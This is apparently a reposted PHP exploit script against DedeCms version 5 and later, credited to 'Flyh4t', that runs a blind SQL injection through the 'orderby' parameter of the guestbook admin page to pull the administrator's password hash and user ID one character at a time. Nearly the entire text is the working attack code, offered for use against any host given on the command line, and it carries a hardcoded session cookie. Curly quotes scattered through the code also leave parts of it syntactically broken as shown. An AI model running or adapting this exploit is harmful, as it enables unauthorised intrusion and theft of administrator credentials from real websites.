以下为引用的内容：
<?
print_r('
--------------------------------------------------------------------------------
DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit
BY Flyh4t
www.wolvez.org
Thx for all the members of W.S.T and my friend Oldjun
--------------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].’ host path
host: target server (ip/hostname)
path: path to DEDEcms
Example:
php ‘.$argv[0].’ localhost /
——————————————————————————–
‘);
die;
}
function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),’80′);
if (!$ock) {
echo ‘No response from ‘.$host; die;
}
fputs($ock,$packet);
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$prefix=”dede_”;
$cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;
if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/'))
{echo ‘Error… check the path!’; die;}
/*get $prefix*/
$packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (eregi(”in your SQL syntax”,$html))
{
$temp=explode(”From “,$html);
$temp2=explode(”member”,$temp[1]);
if($temp2[0])
$prefix=$temp2[0];
echo “[+]prefix -> “.$prefix.”\n”;
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
echo “[~]exploting now,plz waiting\r\n”;
/*get password*/
$j=1;$password=”";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”\r\n”;break;}
}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}
/*get userid*/
$j=1;$admin=”";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”\r\n”;break;}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}
print_r(’
——————————————————————————–
[+]userid -> ‘.$admin.’
[+]pwd(md5 24位) -> ‘.$password.’
——————————————————————————–
‘);
function is_hash($hash)
{
if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo “Exploit succeeded…”;}
else {echo “Exploit failed…”;}
?>
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